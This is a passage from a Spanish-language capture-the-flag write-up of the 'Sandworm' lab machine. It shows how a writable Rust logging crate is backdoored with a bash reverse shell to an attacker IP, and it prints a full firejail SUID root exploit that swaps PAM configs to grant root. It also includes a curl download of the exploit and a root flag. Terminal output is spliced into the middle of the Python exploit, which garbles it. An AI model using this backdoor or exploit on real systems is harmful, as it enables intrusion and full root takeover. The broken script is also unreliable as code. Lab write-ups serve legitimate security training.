     MM      MM   MM   ,AP M     YMM YM.     ,  MM
   .JMML.  .JMML. MMbmmd'.JML.    YM  `Mbmmd'  `Mbmo
                  MM
                .JMML.


Select mode of usage:
a) Upstream
b) Regular (WIP)
c) Emperor (WIP)
d) SQUARE (WIP)
e) Refresh Indeces
```

Leemos el código fuente y su funcionamiento es realizar tareas con bases de datos en MySQL y la manipulaci√≥n de archivos.

```
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

// We don't spy on you... much.

struct Entry {
    timestamp: String,
    target: String,
    source: String,
    data: String,
}

fn main() {
    println!("
             ,,
MMP\"\"MM\"\"YMM db          <code>7MN.   </code>7MF'         mm
P'   MM   `7               MMN.    M           MM
     MM    <code>7MM </code>7MMpdMAo. M YMb   M  .gP\"Ya mmMMmm
     MM      MM   MM   <code>Wb M  </code>MN. M ,M'   Yb  MM
     MM      MM   MM    M8 M   `MM.M 8M\"\"\"\"\"\"  MM
     MM      MM   MM   ,AP M     YMM YM.     ,  MM
   .JMML.  .JMML. MMbmmd'.JML.    YM  <code>Mbmmd'  </code>Mbmo
                  MM
                .JMML.

");

    let mode = get_mode();

    if mode == "" {
       return;
    }
    else if mode != "upstream" && mode != "pull" {
        println!("[-] Mode is still being ported to Rust; try again later.");
        return;
    }

    let mut conn = connect_to_db("Upstream").unwrap();

    if mode == "pull" {
        let source = "/var/www/html/SSA/SSA/submissions";
        pull_indeces(&mut conn, source);
        println!("[+] Pull complete.");
        return;
    }

    println!("Enter keywords to perform the query:");
    let mut keywords = String::new();
    io::stdin().read_line(&mut keywords).unwrap();

    if keywords.trim() == "" {
        println!("[-] No keywords selected.\n\n[-] Quitting...\n");
        return;
    }

    println!("Justification for the search:");
    let mut justification = String::new();
    io::stdin().read_line(&mut justification).unwrap();

    // Get Username
    let output = Command::new("/usr/bin/whoami")
        .output()
        .expect("nobody");

    let username = String::from_utf8(output.stdout).unwrap();
    let username = username.trim();

    if justification.trim() == "" {
        println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
        logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
        return;
    }

    logger::log(username, keywords.as_str().trim(), justification.as_str());

    search_sigint(&mut conn, keywords.as_str().trim());

}
```

Vemos que el programa utiliza la librería *logger* útil para la visualización de registros o comúnmente conocidos como *logs*.

```
extern crate logger;
```

Este sería la librería que utiliza el programa para los *logs*. Como tenemos permisos en la carpeta, lo que podemos hacer es crear un script en Rust para obtener una *rev shell*.

```
cd /opt/crates/logger/src
silentobserver@sandworm:/opt/crates/logger/src$ cat lib.rs
```

```
extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}
```

Modificamos el archivo lib.rs y copiamos el siguiente contenido.

```
vim lib.rs
```

```
extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
    let command = "bash -i >& /dev/tcp/10.10.14.71/4444 0>&1";

    let output = Command::new("bash")
        .arg("-c")
        .arg(command)
        .output()
        .expect("not work");

    if output.status.success() {
        let stdout = String::from_utf8_lossy(&output.stdout);
        let stderr = String::from_utf8_lossy(&output.stderr);

        println!("standar output: {}", stdout);
        println!("error output: {}", stderr);
    } else {
        let stderr = String::from_utf8_lossy(&output.stderr);
        eprintln!("Error: {}", stderr);
    }

    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}
```

```
nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.71] from (UNKNOWN) [10.10.11.218] 37752
bash: cannot set terminal process group (413226): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ dir
dir
```

```
access.log  Cargo.lock  Cargo.toml  src  target
atlas@sandworm:/opt/tipnet$ uname -a
uname -a
Linux sandworm 5.15.0-73-generic #80-Ubuntu SMP Mon May 15 15:18:26 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
atlas@sandworm:/opt/tipnet$ whoami
whoami
atlas
```

atlas--root

Si miramos los binarios con permisos SUID nos encontramos con uno muy interesante que es *firejail*.

```
find / -perm -4000 2>/dev/null

/opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
/opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
/usr/local/bin/firejail
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount3

#También vemos firejail, es interesante.
```

Utilizaremos este script para explotar los permisos SUID de *firejail*.

```
#!/usr/bin/python3

import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path

# Print error message and exit with status 1
def printe(*args, **kwargs):
    kwargs['file'] = sys.stderr
    print(*args, **kwargs)
    sys.exit(1)

# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
    s = os.stat(f)

    if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
        return False

    with open(f) as fd:
        ch = fd.read(2)

        if len(ch) != 1 or ch != "1":
            return False

    return True

def mountTmpFS(loc):
    subprocess.check_call("mount -t tmpfs none".split() + [loc])

def bindMount(src, dst):
    subprocess.check_call("mount --bind".split() + [src, dst])

def checkSelfExecutable():
    s = os.stat(__file__)

    if (s.st_mode & stat.S_IXUSR) == 0:
        printe(f"{__file__} needs to have the execute bit set for the exploit to \
work. Run <code>chmod +x {__file__}</code> and try again.")

# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
```

```
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
    # just run a long sleep command in an unsecured sandbox
    proc = subprocess.Popen(
            "firejail --noprofile -- sleep 10d".split(),
            stderr=subprocess.PIPE)

    # read out the child PID from the stderr output of firejail
    while True:
        line = proc.stderr.readline()
        if not line:
            raise Exception("helper sandbox creation failed")

        # on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
        line = line.decode('utf8').strip().lower()
        if line.find("child pid") == -1:
            continueatlas@sandworm:~$ ls
exploit.py
atlas@sandworm:~$ firejail --join=27125
changing root to /proc/27125/root
Warning: cleaning all supplementary groups
Child process initialized in 5.75 ms
atlas@sandworm:~$ su -
root@sandworm:~# cat /root/root.txt
f46714c26ae78a78ea77ecbcfd8119f0
root@sandworm:~#

        child_pid = line.split()[-1]

        try:
            child_pid = int(child_pid)
            break
        except Exception:
            raise Exception("failed to determine child pid from helper sandbox")

    # We need to find the child process of the child PID, this is the
    # actual sleep process that has an accessible root filesystem in /proc
    children = f"/proc/{child_pid}/task/{child_pid}/children"

    # If we are too quick then the child does not exist yet, so sleep a bit
    for _ in range(10):
        with open(children) as cfd:
            line = cfd.read().strip()
            kids = line.split()
            if not kids:
                time.sleep(0.5)
                continue
            elif len(kids) != 1:
                raise Exception(f"failed to determine sleep child PID from helper \
sandbox: {kids}")

            try:
                sleep_pid = int(kids[0])
                break
            except Exception:
                raise Exception("failed to determine sleep child PID from helper \sandbox")
            else:
                raise Exception(f"sleep child process did not come into existence in {children}")

    join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
    if not os.path.exists(join_file):
        raise Exception(f"join file from helper sandbox unexpectedly not found at \
{join_file}")

    return proc, join_file

# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):

    if not checkFile(join_file):
        printe(f"{join_file}: this file does not match the requirements (owner uid 0, \
size 1 byte, content '1')")

    os.environ["FIREJOIN_JOINFILE"] = join_file
    os.environ["FIREJOIN_UNSHARED"] = "1"

    unshare = shutil.which("unshare")
    if not unshare:
        printe("could not find 'unshare' program")

    cmdline = "unshare -U -r -m".split()
    cmdline += [__file__]

    # Re-execute this script with unshared user and mount namespaces
    subprocess.call(cmdline)

if "FIREJOIN_UNSHARED" not in os.environ:
    # First stage of execution, we first need to fork off a helper sandbox and
    # an exploit environment
    checkSelfExecutable()
    helper_proc, join_file = createHelperSandbox()
    reexecUnshared(join_file)

    helper_proc.kill()
    helper_proc.wait()
    sys.exit(0)
else:
    # We are in the sandbox environment, the suitable join file has been
    # forwarded from the first stage via the environment
    join_file = os.environ["FIREJOIN_JOINFILE"]

# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"

# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
    mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
    # This is a special case for Fedora Linux where SELinux rules prevent us
    # from mounting a tmpfs over proc directories.
    # We can still circumvent this by mounting a tmpfs over all of /proc, but
    # we need to bind-mount a copy of our own time namespace first that we can
    # symlink to.
    with open("/tmp/time", 'w') as _:
        pass
    time_ns_src = "/tmp/time"
    bindMount("/proc/self/ns/time", time_ns_src)
    mountTmpFS("/proc")

FJ_MNT_ROOT = Path("/run/firejail/mnt")

# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")

# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
    umask_fd.write("022")

# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")

# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
    tf.write("auth sufficient pam_permit.so\n")
    tf.write("account sufficient pam_unix.so\n")
    tf.write("session sufficient pam_unix.so\n")

    # Be agnostic about the PAM config file location in /etc or /usr/etc
    for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
        if not os.path.isdir(pamd):
            continue
        for service in ("su", "sudo"):
            service = Path(pamd) / service
            if not service.exists():
                continue
            # Bind mount over new "helpful" PAM config over the original
            bindMount(tf.name, service)
```

```
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \
a shell where 'sudo su -' should grant you a root shell.")

while True:
    line = sys.stdin.readline()
    if not line:
        break
```

```
curl 10.10.14.71/exploit.py -o exploit.py
```